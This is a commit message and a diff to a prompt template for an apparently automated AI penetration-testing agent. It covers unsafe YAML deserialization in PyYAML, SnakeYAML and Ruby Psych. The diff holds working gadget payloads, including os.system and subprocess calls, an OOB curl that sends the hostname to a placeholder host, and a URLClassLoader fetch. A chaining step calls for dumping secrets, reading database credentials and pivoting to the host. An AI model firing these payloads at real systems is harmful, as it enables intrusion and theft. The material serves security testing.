feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/yaml_deserialization.md

@@ -6,18 +6,37 @@ You are testing **{target}** for Unsafe YAML load (PyYAML/SnakeYAML) deserializa
 **Recon Context:**
 {recon_json}
 
-**METHODOLOGY:**
+**METHODOLOGY — confirm an UNSAFE loader parses your YAML, then fire the smallest benign gadget for THIS runtime and PROVE execution:**
 
 ### 1. Find YAML sinks
-- Endpoints/config accepting YAML
+- Endpoints/config accepting YAML: config-upload, CI/pipeline definitions, `Content-Type: application/x-yaml`/`text/yaml`, K8s/Helm-style manifests, webhook bodies, import/restore features.
+- Fingerprint the runtime from recon: Python (`yaml.load` w/o `SafeLoader`, `yaml.unsafe_load`, older PyYAML defaulting to full load) vs Java (`SnakeYAML` `new Yaml().load(...)` without a `SafeConstructor`) vs Ruby `Psych.load`.
+- Existence check FIRST with a benign custom tag that a safe loader rejects but an unsafe one accepts — e.g. an object-construct that would raise `ConstructorError` under `SafeLoader`. An error naming the constructor confirms an unsafe path is reachable.
 
-### 2. Inject gadget
-- PyYAML `!!python/object/apply:os.system ["id"]`; SnakeYAML `!!javax.script...` gadget
+### 2. Inject gadget (benign: single read `id`/`hostname` or an OOB ping with a nonce)
+- **PyYAML** (pick what the version accepts):
+  - `!!python/object/apply:os.system ["id"]`
+  - `!!python/object/apply:subprocess.check_output [["id"]]`
+  - blind/OOB: `!!python/object/apply:os.system ["curl http://<nonce>.oob/?h=$(hostname)"]`
+- **SnakeYAML** (needs a gadget class on the classpath): `ScriptEngineManager` via `!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://<nonce>.oob/"]]]]` — the URL fetch to your OOB host is itself the proof of construction; match the gadget to libraries recon found (Spring, commons).
+- **Ruby Psych**: universal gadget chain if `Psych.load` on untrusted input.
+- DECISION: no reflected output channel → use the OOB variant with a per-attempt nonce; SnakeYAML without a usable gadget class → the URLClassLoader/ScriptEngineManager fetch still proves unsafe construction even if RCE isn't reached.
 
 ### 3. Confirm
-- Confirm execution via OOB/output
+- PROOF = command output (`uid=... gid=...` from `id`, or `hostname`) reflected in the response OR your `<nonce>.oob` listener records the callback correlated to THIS payload. Quote the raw bytes / callback.
+- Accepted YAML with no gadget firing, or a plain parse of a data-only document, is NOT proof.
 
-### 4. Report Format
+### 4. False-Positives / Pitfalls
+- Endpoint uses `yaml.safe_load` / `SafeConstructor` → custom tags raise a ConstructorError; that error is a NEGATIVE result, not a finding.
+- YAML parsed into a plain dict/POJO with no type construction → data-only, not exploitable.
+- OOB blocked by egress → try the in-band `id` read; if neither channel works, stop and report only "unsafe loader reachable" if you have a distinguishing constructor error, else drop.
+- A 500 error alone is not execution.
+
+### 5. Chaining Hooks
+- Code exec as the app user → dump env/secrets, pivot to the host, or read DB creds to feed further chains (`chains_from` this finding).
+- SnakeYAML URLClassLoader gives SSRF/egress even short of RCE — reuse for internal reachability.
+
+### 6. Report Format
 For each CONFIRMED finding:
 ```
 FINDING:
@@ -33,4 +52,4 @@ FINDING:
 ```
 
 ## System Prompt
-You are a YAML deserialization specialist. Report only with confirmed code execution evidence (OOB/output). Accepted YAML without a gadget firing is not a finding.
+You are a YAML deserialization specialist. Report only with confirmed code-execution evidence: command output reflected in the response, or a uniquely-nonced OOB callback correlated to your payload. Accepted YAML without a gadget firing, a document parsed into plain data, or a bare 500/ConstructorError is NOT a finding — a `SafeLoader`/`SafeConstructor` rejecting your tag is a negative result. Run an existence check before the exec gadget, match the gadget to the runtime and to libraries actually present, keep the command benign (a single `id`/`hostname` read or an OOB ping), and stop if you cannot prove execution.